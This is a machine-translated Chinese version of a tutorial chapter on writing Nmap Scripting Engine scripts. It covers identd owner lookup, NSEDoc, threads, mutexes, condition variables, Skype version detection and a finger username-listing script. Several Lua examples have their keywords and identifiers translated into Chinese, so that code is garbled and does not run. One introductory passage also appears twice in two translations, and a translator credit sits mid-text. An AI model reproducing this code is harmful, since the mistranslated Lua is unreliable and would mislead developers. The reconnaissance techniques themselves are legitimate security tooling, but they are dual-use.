变量声明它,以确保较早的脚本首先运行。
脚本编写教程
假设您确信 NSE 的强大功能。您如何编写自己的脚本?假设您想从识别服务器中提取信息以确定侦听 TCP 端口的进程的所有者。这不是 identd 的真正目的(它是用来查询传出连接的所有者,而不是监听守护进程),但许多 identd 服务器无论如何都允许这样做。Nmap 曾经具有此功能(称为 ident 扫描),但在过渡到新的扫描引擎架构时已将其删除。identd 使用的协议非常简单,但对于 Nmap 的版本检测语言来说仍然过于复杂。首先,您连接到识别服务器并发送表单查询
并以换行符终止。然后,服务器应使用包含服务器端口、客户端端口、响应类型和地址信息的字符串进行响应。如果有错误,地址信息将被省略。RFC 1413中提供了更多详细信息, 但是这个描述对于我们的目的来说已经足够了。该协议无法在 Nmap 的版本检测语言中建模,原因有两个。首先是您需要知道连接的本地和远程端口。版本检测不提供此数据。第二个更严重的障碍是您需要两个与目标的开放连接——一个连接到识别服务器,一个连接到您希望查询的侦听端口。NSE 可以轻松克服这两个障碍。<port-on-server>
, <port-on-client>
脚本的结构在“脚本格式”一节中进行了描述。在本节中,我们将展示如何使用所描述的结构。
假设你对NSE的强大深信不疑。你如何去编写你自己的脚本呢?假设你想从识别服务器中提取信息,以确定在某个TCP端口上监听的进程的所有者。这其实不是identd的目的(它是用来查询出站连接的所有者,而不是监听守护进程),但许多identd服务器还是允许这样做。Nmap曾经有这个功能(叫做ident scan),但在过渡到新的扫描引擎架构时被删除了。identd使用的协议相当简单,但仍然太复杂,无法用Nmap的版本检测语言处理。首先,您连接到识别服务器并发送一个<服务器上的端口>, <客户端上的端口>形式的查询,以换行符结束。然后,服务器应该用一个包含服务器端口、客户端端口、响应类型和地址信息的字符串进行响应。如果有错误,地址信息将被省略。更多的细节可以在RFC 1413中找到,但是这个描述对于我们的目的来说已经足够了。由于两个原因,该协议不能用Nmap的版本检测语言来建模。第一个原因是您需要知道一个连接的本地和远程端口。版本检测不提供这个数据。第二个更严重的障碍是,您需要两个与目标的开放连接--一个是识别服务器,一个是您想查询的监听端口。这两个障碍都可以用NSE轻松克服。
脚本的结构在 "脚本格式 "一节中已有描述。在本节中,我们将展示如何利用所描述的结构。
通过www.DeepL.com/Translator(免费版)翻译
头部
脚本的头部本质上是它的元信息。这包括以下字段:description
、categories
、dependencies
、author
和license
以及初始 NSEDoc 信息,例如用法、参数和输出标签(请参阅名为“编写脚本文档 (NSEDoc)”的部分)。
描述字段应该包含一段或更多描述脚本的作用。如果有关脚本结果的任何内容可能会混淆或误导用户,并且您无法通过改进脚本或结果文本来消除问题,则应将其记录在description
. 如果有多个段落,则第一个在必要时用作简短摘要。确保第一段可以作为独立的摘要。这个描述很简短,因为它是一个非常简单的脚本:
描述 = [[ 尝试通过查询 auth 来查找打开的 TCP 端口的所有者 (identd - 端口 113) 守护进程,它也必须在目标系统上打开。 ]]
接下来是 NSEDoc 信息。这个脚本缺少 common@usage
和@args
标签,因为它非常简单,但它确实有一个 NSEDoc@output
标签:
--- - @输出 -- 21/tcp 打开 ftp ProFTPD 1.3.1 -- |_ 身份验证所有者:没有人 -- 22/tcp open ssh OpenSSH 4.3p2 Debian 9etch2 (protocol 2.0) -- |_ 身份验证所有者:root -- 25/tcp open smtp Postfix smtpd -- |_ auth-owners: 后缀 -- 80/tcp 打开 http Apache httpd 2.0.61 ((Unix) PHP/4.4.7 ...) -- |_ 身份验证所有者:dhapache -- 113/tcp 开放认证? -- |_ 身份验证所有者:没有人 -- 587/tcp 开启提交 Postfix smtpd -- |_ auth-owners: 后缀 -- 5666/tcp 打开未知 -- |_ 身份验证所有者:root
接下来是author
、license
和categories
标签。该脚本属于 , safe
因为我们没有将服务用于它不打算用于的任何事情。因为这个脚本是一个应该默认运行的脚本,所以它也在这个 default
类别中。以下是上下文中的变量:
作者=“迪曼托多罗夫” license = "与 Nmap 相同--参见 https://nmap.org/book/man-legal.html" 类别 = {“默认”,“安全”}
规则部分是一个 Lua 方法,它决定是跳过还是执行脚本的动作。此决定通常基于规则的类型以及传递给它的主机和端口信息。Aprerule
或 a postrule
将始终评估为真。在识别脚本的情况下,它比这稍微复杂一些。要决定是否针对给定端口运行识别脚本,我们需要知道目标机器上是否运行了身份验证服务器。换句话说,只有在当前扫描的 TCP 端口打开并且 TCP 端口 113 也打开时,才应该运行该脚本。现在,我们将依赖于识别服务器侦听 TCP 端口 113 的事实。不幸的是,NSE 仅向我们提供有关当前扫描端口的信息。
要确定端口 113 是否打开,我们使用该 nmap.get_port_state
函数。如果未扫描 auth 端口,则get_port_state
函数返回nil
. 所以我们检查该表不是nil
. 我们还检查两个端口是否都处于open
状态。如果是这种情况,则执行该操作,否则我们跳过该操作。
portrule = 功能(主机,端口) 本地 auth_port = { number=113, protocol="tcp" } local identd = nmap.get_port_state(host, auth_port) 返回 identd ~= nil 和 identd.state == "打开" 和 port.protocol == "tcp" 和 port.state == "打开" 结尾
最后我们实现了实际的功能!该脚本首先连接到我们希望找到识别服务器的端口,然后它将连接到我们想要了解信息的端口。这样做涉及首先通过调用创建两个套接字选项nmap.new_socket
。接下来我们定义一个错误处理catch
函数,如果检测到故障,它会关闭这些套接字。此时我们可以安全地使用对象方法如open
、、 close
和 对网络套接字进行操作send
。 receive
在这种情况下,我们调用connect
以建立连接。NSE 的异常处理机制 用于避免过多的错误处理代码。我们只需将网络调用包装在一个try
调用中,然后调用我们的catch
如果出现任何问题,请运行。
如果两个连接成功,我们构造一个查询字符串并解析响应。如果我们收到满意的回复,我们会返回检索到的信息。
动作=功能(主机,端口) 本地所有者 = "" 本地 client_ident = nmap.new_socket() 本地客户端服务 = nmap.new_socket() 本地捕获 = 函数() client_ident:close() 客户端服务:关闭() 结尾 本地尝试 = nmap.new_try(catch) 尝试(client_ident:连接(host.ip,113)) 尝试(client_service:connect(host.ip, port.number)) 本地本地 IP、本地端口、远程 IP、远程端口 = 尝试(client_service:get_info()) 本地请求 = port.number .. ", " .. localport .. "\r\n" 尝试(client_ident:发送(请求)) 所有者=尝试(client_ident:receive_lines(1)) 如果 string.match(owner, "ERROR") 那么 所有者 = 无 别的 所有者 = string.match(所有者, "%d+%s*,%s*%d+%s*:%s*USERID%s*:%s*.+%s*:%s*(.+)\r?\n") 结尾 尝试(client_ident:关闭()) 尝试(客户端服务:关闭()) 返回所有者 结尾
请注意,因为我们知道远程端口存储在 中port.number
,所以我们可以忽略最后两个返回值,client_service:get_info()
如下所示:
本地本地IP,本地端口=尝试(客户端服务:获取信息())
在此示例中,如果服务响应错误,我们将安静地退出。这是通过分配nil
给owner
将要返回的变量来完成的。NSE 脚本通常仅在成功时才返回消息,因此它们不会向用户发出毫无意义的警报。
编写脚本文档 (NSEDoc)
脚本不仅仅被其作者使用,因此它们需要良好的文档。NSE 模块需要文档,以便开发人员可以在他们的脚本中使用它们。本节中描述的 NSE 文档系统旨在满足这两个需求。在阅读本节时,您可能想浏览 NSE 的在线文档,该文档是使用该系统生成的。它位于 https://nmap.org/nsedoc/。
NSE 使用称为 NSEDoc 的 LuaDoc 文档系统的定制版本。脚本和模块的文档包含在它们的源代码中,作为具有特殊形式的注释。 示例 9.7 是从 stdnse.print_debug()
函数中提取的 NSEDoc 注释。
--- -- 如果当前详细级别更高,则打印格式化的调试消息 -- 大于或等于给定级别。 -- -- 这是一个方便的包装器 -- <code>nmap.log_write</code>。第一个可选数字 -- 参数,<code>level</code>,用作必要的调试级别 -- 打印消息(如果省略,默认为 1)。所有剩余的论点 -- 使用 Lua 的 <code>string.format</code> 函数处理。 -- @param level 可选的调试级别。 -- @param fmt 格式字符串。 -- @param ... 要格式化的参数。
文档注释以三个破折号开头: ---
. 注释的主体是对以下代码的描述。描述的第一段应该是一个简短的总结,下面的段落提供更多的细节。@
以标记文档的其他部分开头的特殊标签。在上面的例子中你看到了 @param
,它用于描述函数的每个参数。文档标签的完整列表可在“NSE 文档标签”一节中找到。
包含在 HTML-like<code>
和 </code>
标签中的文本将以等宽字体呈现。这应该用于变量和函数名称,以及多行代码示例。当一系列行以字符“ *
”开头时,它们将呈现为项目符号列表。每个列表项必须完全位于一个物理行上。
在脚本或模块中记录每个公共函数和表是一种很好的做法。此外,每个脚本和模块都应该有自己的文件级文档。文件开头的文档注释(后面没有函数或表定义的注释)适用于整个文件。文件级文档可以而且应该有几个段落,其中包含对使用模块的开发人员或运行脚本的用户有用的所有高级信息。 示例 9.8 显示了该comm
模块的文档(为了节省空间,删除了几段)。
--- -- 网络发现任务的通用通信功能,例如 -- 横幅抓取和数据交换。 -- -- 这些函数可以传递一个选项表,但这不是必需的。这 -- 选项表的键是 <code>"bytes"</code>, <code>"lines"</code>, -- <code>"proto"</code> 和 <code>"timeout"</code>。<code>"bytes"</code> 集 -- 要读取的最小字节数。<code>"lines"</code> 对 ——行。<code>"proto"</code> 设置要与之通信的协议, -- 如果未提供,则默认为 <code>"tcp"</code>。<code>“超时”</code> -- 设置套接字超时(参见套接字函数<code>set_timeout</code> ——详情)。 -- --@作者克里斯·卡特约翰 04/2008 -- @copyright 与 Nmap 相同--参见 https://nmap.org/book/man-legal.html
记录脚本而不是函数和模块有一些特殊的注意事项。特别是,脚本具有用于某些信息的特殊变量,这些信息原本属于@-tag 注释(脚本变量在 “脚本格式”一节中描述)。特别是,脚本的描述属于description
变量而不是文档注释,以及将进入@author
并 @copyright
属于变量 的信息author
,而license
不是。NSEDoc 知道这些变量,并将优先使用它们而不是注释中的字段。脚本还应该有 @output
和@xmloutput
显示示例输出的标签,以及@args
和@usage
在适当情况下。 示例 9.9 显示了脚本级文档的正确形式,使用了文档注释和 NSE 变量的组合。
描述 = [[ 将 IP 地址映射到自治系统 (AS) 编号。 该脚本通过向 DNS 服务器发送 DNS TXT 查询来工作,该服务器位于 转查询 Team Cymru 提供的第三方服务 (team-cymru.org) 使用专门为 Nmap 使用。对这些查询的响应包含 Origin 和 Peer ASN 及其描述,连同 BGP 前缀和 国家代码。脚本缓存结果以减少查询次数 并且应该对 BGP 中的所有扫描目标执行单个查询 存在于 Team Cymru 数据库中的前缀。 请注意,将发送运行此脚本的任何目标 并可能由一台或多台 DNS 服务器和 Team Cymru 记录。 此外,您的 IP 地址将与 ASN 一起发送到 DNS 服务器(您的默认 DNS 服务器,或您使用 <code>dns</code> 脚本参数)。 ]] --- - @用法 -- nmap --script asn-query [--script-args dns=<DNS 服务器>] <目标> -- @args dns 要使用的递归名称服务器的地址(可选)。 - @输出 -- 主机脚本结果: -- | asn 查询: -- | BGP:64.13.128.0/21 | 国家:美国 -- | 原产地 AS:10565 SVCOLO-AS - Silicon Valley Colocation, Inc. -- | 同行:3561 6461 -- | BGP:64.13.128.0/18 | 国家:美国 -- | 原产地 AS:10565 SVCOLO-AS - Silicon Valley Colocation, Inc. -- |_ 同行 AS: 174 2914 6461 作者 = “哇,迈克尔” license = "与 Nmap 相同--参见 https://nmap.org/book/man-legal.html" 类别 = {“发现”、“外部”、“安全”}
编译的 NSE 模块也用 NSEDoc 记录,即使它们没有 Lua 源代码。每个编译的模块都有一个文件
保存在<modulename>
.luadocnselib
Lua 模块旁边的目录中。该文件列出并记录了编译模块中的函数和表,就好像它们是用 Lua 编写的一样。只需要每个函数的名称,而不是它的定义(甚至不需要end
)。记录表格时必须使用 @name
and@class
标记以帮助文档解析器识别它。在 Nmap 源代码分发版中有几个这种文档方法的示例(包括nmap.luadoc
、lfs.luadoc
和pcre.luadoc
)。
@param
@see
@return
@usage
-
提供函数、脚本或模块的使用示例。在函数的情况下,示例是 Lua 代码;对于脚本,它是 Nmap 命令行;对于一个模块,它通常是一个代码示例。
@usage
可以给予不止一次。如果在脚本中省略它,NSEDoc 会生成一个默认的标准化使用示例。 @name
@class
-
定义正在记录的对象的“类”
function
: 、、table
或module
。就像@name
,这通常是自动推断的。 @field
@args
-
描述与
--script-args
选项一起使用的脚本参数(请参阅 “脚本参数”一节)。后面的第一个词@args
是参数的名称,后面的所有内容都是描述。这个标签是脚本级注释的特殊标签。 @output
-
此标记是脚本级注释所独有的,它显示脚本的示例输出。
@xmloutput
-
显示脚本的 “结构化和非结构化输出”部分 在写入 XML 时的样子。XML 示例不应包含封闭的
<script>
和</script>
标记,并且应缩进以显示层次结构。 @author
-
这个标签可以被多次给出,列出了 NSE 模块的作者。对于脚本,请改用该
author
变量。 @copyright
-
这个标签描述了一个模块的版权状态。对于脚本,请改用该
license
变量。
NSE 中的脚本并行性
在“网络 I/O API”一节中,提到了 NSE 自动并行化网络操作。通常这个过程对脚本作者来说是透明的,但是有一些高级技术需要知道它是如何工作的。本节介绍的技术包括控制多个脚本在库中的交互方式、并行使用多个线程以及在特殊情况下禁用并行性。
并行执行的标准机制是线程。线程封装了脚本的执行流程和数据。Lua 线程可以在任意位置产生以继续处理另一个脚本。通常,这些屈服位置会阻塞 nmap
库中的套接字操作。返回脚本的 yield 也是透明的,这是套接字操作的副作用。
让我们回顾一些常见的术语。脚本类似于二进制可执行文件;它包含执行脚本所需的信息。线程(Lua 协程)类似于进程;它针对主机和可能的端口运行脚本。有时我们滥用术语,将正在运行的线程称为正在运行的“脚本”,但这实际上意味着脚本的实例化,就像进程是可执行文件的实例化一样。
NSE 提供了扩展每个脚本一个线程的并行基本模型所需的基本要素:新的独立线程、互斥体和条件变量。
在某些情况下,脚本需要对并行执行进行更精细的控制,超出了通用脚本默认提供的控制。一个常见的需求是同时从多个套接字读取。例如,一个 HTTP 爬虫脚本可能需要多个 Lua 线程并行查询 Web 服务器资源。为了满足这一需求,NSE 提供了stdnse.new_thread
创建工作线程的功能。这些工作线程具有独立脚本的所有功能,唯一的限制是它们不能报告脚本输出。
脚本启动的每个工作线程都有一个主函数和可变数量的参数,由 NSE 传递给主函数:
worker_thread, status_function = stdnse.new_thread(main, ...)
stdnse.new_thread
返回两个值:唯一标识您的工作线程的 Lua 线程(协程),以及查询新工作线程状态的状态查询函数。状态查询函数返回两个值:
status, error_object = status_function()
第一个返回值只是coroutine.status
在工作线程协程上运行的返回值。(更准确地说,协程。在base
base
“基本线程”一节中阅读有关协程的更多信息。)第二个返回值包含一个错误对象,该对象导致工作线程终止,或者 nil
没有引发错误。这个对象通常是一个字符串,就像大多数 Lua 错误一样。但是,任何 Lua 类型都可以是错误对象,甚至nil
. 因此,仅当 worker 的状态为 时,才检查错误对象,即第二个返回值"dead"
。
当工作线程完成执行时,NSE 会丢弃主函数的所有返回值。您应该通过使用main
函数参数、上值或函数环境与您的工作人员进行通信。有关示例,请参见 示例 9.10 。
最后,在使用工作线程时,您应该始终使用条件变量或互斥锁来协调它们。Nmap 是单线程的,因此无需担心内存同步问题;但存在 资源争夺。这些资源通常包括网络带宽和套接字。如果任何单个线程的工作是动态的,条件变量也很有用。例如,具有工作池的 Web 服务器蜘蛛脚本最初将具有单个根 HTML 文档。在检索根文档之后,要检索的资源集(工作人员的工作)可能会变得非常大,因为每个新文档都会添加新的 URL 来获取。
本地请求 = {"/", "/index.html", --[[ long list of objects ]]} 函数thread_main(主机,端口,响应,...) 本地 condvar = nmap.condvar(responses); 本地什么 = {n = select("#", ...), ...}; 本地 allReqs = nil; 对于 i = 1,what.n 做什么 allReqs = http.pGet(主机、端口、what[i]、nil、nil、allReqs); 结尾 本地 p = 断言(http.pipeline(主机、端口、allReqs)); 对于 i,ipairs(p) 中的响应做响应 [#responses+1] = 响应结束 condvar "信号"; 结尾 函数many_requests(主机,端口) 本地线程 = {}; 本地响应 = {}; 本地 condvar = nmap.condvar(responses); 本地 i = 1; 重复 本地 j = math.min(i+10, #requests); 本地 co = stdnse.new_thread(thread_main,主机,端口,响应, 解包(请求,我,j)); 线程[co] = true; 我 = j+1; 直到我 > #requests; 重复 对于成对的线程(线程)做 如果 coroutine.status(thread) == "dead" then threads[thread] = nil end 结尾 如果(下一个(线程))那么 condvar“等待” 结尾 直到下一个(线程)== nil; 返回响应; 结尾
为简洁起见,此示例省略了传统网络蜘蛛的典型行为。假定 requests 表包含足够的对象以保证使用工作线程。此示例中的代码分派一个具有多达 11 个相对 URL 的新线程。工作线程很便宜,所以不要害怕创建很多。在调度所有这些线程之后,代码在条件变量上等待,直到每个线程都完成,然后最终返回响应表。
您可能已经注意到我们没有使用stdnse.new_thread
. 您通常会将其用于调试,或者如果您的程序必须根据您的工作线程之一引发的错误而停止。我们的简单示例不需要这个,但更容错的库可能。
互斥体
回想一下本节开头,每个脚本执行线程(例如ftp-anon
,针对目标主机上的 FTP 服务器运行)在调用网络对象(发送或接收数据)时让给其他脚本。一些脚本需要对线程执行进行更精细的并发控制。一个示例是 查询whois
每个目标 IP 地址的 whois 服务器的脚本。因为许多并发查询可以让您的 IP 因滥用而被禁止,并且因为单个查询可能会返回另一个脚本实例即将请求的相同信息,所以在一个线程执行查询时让其他线程暂停是很有用的。
为了解决这个问题,NSE 包含一个mutex
函数,该函数提供 脚本可用的互斥对象(互斥对象)。互斥体一次只允许一个线程处理一个对象。等待处理该对象的竞争线程被放入等待队列,直到它们可以在互斥体上获得 “锁”。一个解决方案whois
上面的问题是使用公共字符串让每个线程阻塞在互斥体上,确保一次只有一个线程在查询服务器。完成对远程服务器的查询后,线程可以将结果存储在 NSE 注册表中并解锁互斥锁。其他等待查询远程服务器的脚本然后可以获得锁,检查缓存以获取先前查询的可用结果,进行自己的查询,并解锁互斥锁。这是对远程资源进行序列化访问的一个很好的例子。
使用互斥体的第一步是创建一个调用 nmap.mutex
.
mutexfn = nmap.mutex(对象)
返回的mutexfn
是一个函数,它作为object
传入的互斥锁。这个对象可以是任何Lua 数据类型,除了nil
、 Boolean 和 number 。返回的函数允许您锁定、尝试锁定和释放互斥锁。它的唯一参数必须是以下之一:
"lock"
-
在互斥体上做一个阻塞锁。如果互斥锁很忙(另一个线程有一个锁),那么该线程将屈服并等待。该函数在互斥锁锁定的情况下返回。
"trylock"
-
在互斥体上进行非阻塞锁定。如果互斥锁很忙,那么它会立即返回,返回值为
false
. 否则,锁定互斥体并返回true
。 "done"
-
释放互斥体并允许另一个线程锁定它。如果线程没有对互斥锁进行锁定,则会引发错误。
"running"
-
返回锁定在互斥锁上的线程,或者
nil
如果互斥锁未锁定。这应该只用于调试,因为它会干扰已完成线程的垃圾收集。
NSE 维护对互斥体的弱引用,因此 nmap.mutex
对同一对象的其他调用将返回相同的互斥体函数。但是,如果您放弃对互斥体的引用,那么它可能会被收集,随后 nmap.mutex
对该对象的调用将返回不同的函数。因此,将您的互斥锁保存到一个(本地)变量中,只要您需要它就会一直存在。
示例 9.11 中提供了一个使用 API 的简单示例。对于现实生活中的示例,请阅读 Nmap 发行版中的 asn-query
和 whois
脚本。
条件变量的出现是为了与stdnse.new_thread
函数创建的工作线程进行协调。条件变量允许多个线程在一个对象上等待,并且在满足某些条件时唤醒它们中的一个或全部。换句话说,多个线程可以无条件地 等待block
条件变量 。其他线程可能会使用条件变量来唤醒等待中的线程。
例如,考虑前面的示例 9.10,“工作线程”。在所有工作人员完成之前,控制器线程必须休眠。请注意,我们不能 poll
像传统操作系统线程那样获取结果,因为 NSE 不会抢占 Lua 线程。相反,我们使用一个条件变量,控制器线程 一直等待,直到被工作人员唤醒。控制器将不断等待,直到所有工作人员都终止。
使用条件变量的第一步是创建一个调用nmap.condvar
.
condvarfn = nmap.condvar(object)
条件变量的语义类似于互斥锁。返回的 condvarfn
是一个函数,它作为object
传入的条件变量。这个对象可以是任何Lua 数据类型,除了nil
、 Boolean 和 number 。返回的函数允许您在条件变量上等待、发出信号和广播。它的唯一参数必须是以下之一:
"wait"
-
等待条件变量。这会将当前线程添加到条件变量的等待队列中。当另一个线程在条件变量上发出信号或广播时,它将恢复执行。
"signal"
-
给条件变量发信号。条件变量的等待队列中的一个线程将被恢复。
"broadcast"
-
恢复条件变量等待队列中的所有线程。
与互斥锁一样,NSE 维护对条件变量的弱引用,因此nmap.condvar
对同一对象的其他调用将返回相同的函数。但是,如果您放弃对条件变量的引用,那么它可能会被收集,随后 nmap.condvar
对该对象的调用将返回不同的函数。因此,将您的条件变量保存到一个(本地)变量中,只要您需要它就会一直存在。
使用条件变量时,在等待前后检查谓词很重要。谓词是关于是否继续在工作线程或控制器线程中工作的测试。对于工作线程,这至少会包括一个测试,看看控制器是否还活着。当没有线程可以使用您的结果时,您不想继续工作。等待前的典型测试可能是: 检查控制器是否仍在运行;如果没有,那么退出。检查是否有工作要做;如果没有,然后等待。
等待条件变量的线程可以在没有任何其他线程调用"signal"
或 "broadcast"
条件变量的情况下恢复(虚假唤醒)。可能发生这种情况的通常但并非唯一的原因是使用条件变量终止其中一个线程。这是 NSE 提供的一个重要保证,它允许您避免死锁,即工作人员或控制器等待线程唤醒它们而没有发出条件变量信号就结束了。
协作多线程
Lua 最不为人知的特性之一是通过协程进行协作多线程。协程提供了一个独立的执行堆栈,可以让出和恢复。标准coroutine
表提供对协同程序的创建和操作的访问。Lua 的在线第一版Programming in Lua包含对协程的精彩介绍。以下是为了完整性而在此处使用协程的概述,但这不能替代最终参考。
我们在本节中将协程称为 线程。这是 Lua 中协程的类型 ( "thread"
)。它们不是程序员可能期望的抢占线程。Lua 线程为并行脚本提供了基础,但一次只能运行一个线程。
Lua 函数在 Lua 线程之上执行。线程维护着一堆活动函数、局部变量和当前指令指针。我们可以通过显式让出正在运行的线程在协程之间切换。恢复产生的线程的协程恢复操作。 例 9.12 展示了使用协程打印数字的简要说明。
局部函数 main() coroutine.yield(1) coroutine.yield(2) coroutine.yield(3) 结尾 本地 co = coroutine.create(main) 对于 i = 1, 3 做 打印(coroutine.resume(co)) 结尾 --> 真 1 --> 真 2 --> 真 3
协程是使 NSE 能够并行运行脚本的工具。所有脚本都作为协程运行,只要它们进行阻塞套接字函数调用,就会产生。这使 NSE 能够运行其他脚本,并在其 I/O 操作完成后恢复被阻止的脚本。
有时协程是在单个脚本中完成工作的最佳工具。套接字编程中的一种常见用途是过滤数据。您可以编写一个从 HTML 文档生成所有链接的函数。使用string.gmatch
can 的迭代器只捕获一个模式。因为一些复杂的匹配可能需要很多不同的 Lua 模式,所以使用协程更合适。 示例 9.13 显示了如何执行此操作。
函数链接(html_document) 局部函数生成() for m in string.gmatch(html_document, "url%((.-)%)") 做 coroutine.yield(m) -- css url 结尾 对于 m in string.gmatch(html_document, "href%s*=%s*\"(.-)\"") 做 coroutine.yield(m) -- 锚链接 结尾 对于 m in string.gmatch(html_document, "src%s*=%s*\"(.-)\"") 做 coroutine.yield(m) -- img 源 结尾 结尾 返回 coroutine.wrap(生成) 结尾 功能操作(主机、端口) -- ... 获取 HTML 文档并存储在 html_document 本地 对于链接中的链接(html_document)做 链接[#links+1] = 链接;-- 存储它 结尾 -- ... 结尾
基础螺纹
因为脚本可能使用协程来处理它们自己的多线程,所以能够识别资源的所有者 或确定脚本是否仍然存在是很重要的。NSEstdnse.base
为此提供了该功能。
特别是在编写将缓存或套接字所有权归属于脚本的库时,您可以使用基本线程来确定脚本是否仍在运行。 coroutine.status
在基本线程上将给出脚本的当前状态。如果脚本是 "dead"
,您将需要释放资源。小心保留对这些线程的引用;NSE 可能会丢弃一个脚本,即使它还没有完成执行。该线程仍将报告状态"suspended"
。在这些情况下,您应该保持对线程的弱引用,以便可以收集它。
使用 NSE 进行版本检测
Nmap 内置的版本检测系统旨在通过简单的探测和模式匹配语法有效地识别绝大多数协议。某些协议需要比版本检测更复杂的通信。NSE 提供的通用脚本语言非常适合这些棘手的情况。
NSE的版本类别包含加强标准版本检测的脚本。只要你用-sV要求进行版本检测,这个类别的脚本就会运行;你不需要使用-sC来运行这些脚本。这也是另一种情况:如果你使用-sC,你将不会得到版本脚本,除非你也使用-sV。
我们无法用正常的版本检测来检测的一个协议是Skype版本2。该协议的设计可能是为了阻挠检测,因为担心与电信有关的互联网服务提供商可能会认为Skype是竞争对手,并干扰流量。然而,我们确实找到了一种方法来检测它。如果Skype收到一个HTTP GET请求,它会假装是一个网络服务器并返回一个404错误。但对于其他请求,它就会发回一大块看起来很随机的数据。正确的识别需要发送两个探针并比较两个响应--这是NSE的理想任务。完成这一任务的简单NSE脚本见例9.14。
description = [[ Detects the Skype version 2 service. ]] --- -- @output -- PORT STATE SERVICE VERSION -- 80/tcp open skype2 Skype author = "Brandon Enright" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"version"} require "comm" require "shortport" portrule = function(host, port) return (port.number == 80 or port.number == 443 or port.service == nil or port.service == "" or port.service == "unknown") and port.protocol == "tcp" and port.state == "open" and port.service ~= "http" and port.service ~= "ssl/http" and not(shortport.port_is_excluded(port.number,port.protocol)) end action = function(host, port) local status, result = comm.exchange(host, port, "GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol}) if (not status) then return end if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then return end -- So far so good, now see if we get random data for another request status, result = comm.exchange(host, port, "random data\r\n\r\n", {bytes=15, proto=port.protocol}) if (not status) then return end if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then -- Detected port.version.name = "skype2" port.version.product = "Skype" nmap.set_port_version(host, port) return end return end
如果脚本检测到 Skype,它会port
用现在已知的name
和 product
字段来扩充它的表。然后它通过调用将这个新信息发送到 Nmap nmap.set_port_version
。如果已知其他几个版本字段,则可以设置它们,但在这种情况下,我们只有名称和产品。有关版本字段的完整列表,请参阅nmap.set_port_version
文档。
请注意,除非它检测到协议,否则此脚本什么都不做。脚本不应该仅仅说它没有学到任何东西就产生输出(调试输出除外)。
示例脚本:finger
该finger
脚本是简短的 NSE 脚本的完美示例。
首先分配信息字段。该脚本实际执行的操作的详细描述在该description
字段中。
description = [[
Attempts to get a list of usernames via the finger service. ]] author = "Eddie Bell" license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
该categories
字段是一个包含脚本所属的所有类别的表。这些用于通过以下--script
选项选择脚本:这些分类用--script选项选中脚本。
categories = {"default", "discovery", "safe"}
每一个好的脚本都会在NSEDoc注释中附带一个输出样本。
--- -- @output -- PORT STATE SERVICE -- 79/tcp open finger -- | finger: -- | Welcome to Linux version 2.6.31.12-0.2-default at linux-pb94.site ! -- | 01:14am up 18:54, 4 users, load average: 0.14, 0.08, 0.01 -- | -- | Login Name Tty Idle Login Time Where -- | Gutek Ange Gutek *:0 - Wed 06:19 console -- | Gutek Ange Gutek pts/1 18:54 Wed 06:20 -- | Gutek Ange Gutek *pts/0 - Thu 00:41 -- |_Gutek Ange Gutek *pts/4 3 Thu 01:06
你可以用require来使用nselib提供的工具设施(称为 "NSE库 "的部分)。在下面,我们想使用常见的通信函数和较短的端口规则。
require "comm" require "shortport"
我们想针对finger服务运行这个脚本。所以我们要测试它是否在使用周知的finger端口(79/tcp),或者根据版本检测结果测试该服务是否被命名为 "finger",或者在nmap-services中的端口号列表,
portrule = shortport.port_or_service(79, "finger" )
首先,脚本使用nmap.new_try来创建一个异常处理程序,在出现错误时退出脚本。接下来,它将控制权传递给comm.exchange,它处理网络事务。这里我们要求在通信交换中等待,直到我们收到至少100行,等待至少5秒,或者直到远程端关闭连接。任何错误都由try异常处理程序来处理。如果对comm.exchange()的调用是成功的,该脚本返回一个字符串。
action = function(host, port) local try = nmap.new_try() return try(comm.exchange(host, port, "\r\n", {lines=100, proto=port.protocol, timeout=5000})) end
comm库参考链接
https://nmap.org/nsedoc/lib/comm.html
实现细节
现在是深入探索 NSE 实现细节的时候了。了解 NSE 的工作原理对于设计高效的脚本和库很有用。NSE 实现的权威参考是源代码,但本节提供了关键细节的概述。对于试图理解和扩展 NSE 源代码的人,以及希望更好地理解其脚本是如何执行的脚本作者来说,它应该是有价值的。
初始化阶段
当 Nmap 首次启动时,NSE 在任何扫描之前由 open_nse
函数初始化。open_nse
创建一个新的 Lua 状态,它将在主机组中持续存在,直到 程序退出。然后它加载标准 Lua 库和编译的 NSE 库。Lua 参考手册中记录了标准 Lua 库。NSE 可用的标准 Lua 库是 debug
、 io
、 math
、 os
、 package
、 string
和 table
. 编译的 NSE 库是那些在 C++ 文件而不是 Lua 文件中定义的库。它们包括 nmap
, pcre
, bin
, bit
, 和 openssl
(如果可用)。
加载基本库后,open_nse
加载文件 nse_main.lua
. NSE 核心在这个文件中——Lua 代码管理脚本并设置适当的环境。在这种情况下,Lua 作为一种胶水语言确实大放异彩。C++ 用于提供网络框架和低级库。Lua 用于结构化数据、确定要加载的脚本以及调度和执行脚本。
nse_main.lua
设置 Lua 环境以便稍后进行脚本扫描。它加载用户选择的所有脚本并返回一个执行实际脚本扫描的函数 open_nse
。
该nselib
目录被添加到 Lua 路径中,以使脚本可以访问标准 NSE 库。NSE 加载标准协程函数的替换,以便 NSE 发起的让步被捕获并传播回 NSE 调度程序。
nse_main.lua
next 定义要在设置期间使用的类和函数。脚本参数 ( --script-args
) 被加载到 nmap.registry.args
. 如果脚本数据库尚不存在或使用--script-updatedb
.
最后,加载命令行中列出的脚本。该get_chosen_scripts
函数通过比较类别、文件名和目录名来查找所选脚本。脚本被加载到内存中供以后使用。 get_chosen_scripts
通过将参数--script
转换为 Lua 代码块然后执行它来工作。(这就是支持and
、 or
和not
运算符的方式。)任何与类别或文件名不直接匹配的规范 都将根据文件和目录名称script.db
进行 如果规范是常规文件,则加载它。如果是一个目录,所有 *.nse
其中的文件被加载。否则,引擎会引发错误。
get_chosen_scripts
通过根据它们的依赖关系排列选定的脚本来完成(参见 “dependencies
字段”部分)。没有依赖关系的脚本在运行级别 1 中。直接依赖这些的脚本在运行级别 2 中,依此类推。运行脚本扫描时,每个运行级别都按顺序单独运行。
nse_main.lua
定义了两个类: Script
和Thread
。这些类是代表 NSE 脚本及其脚本线程的对象。加载脚本时,Script.new
创建一个新的 Script 对象。脚本文件被加载到 Lua 中并保存以备后用。这些类及其方法旨在封装每个脚本及其线程所需的数据。 Script.new
还包含完整性检查以确保脚本具有必需的字段,例如action
函数。
脚本扫描
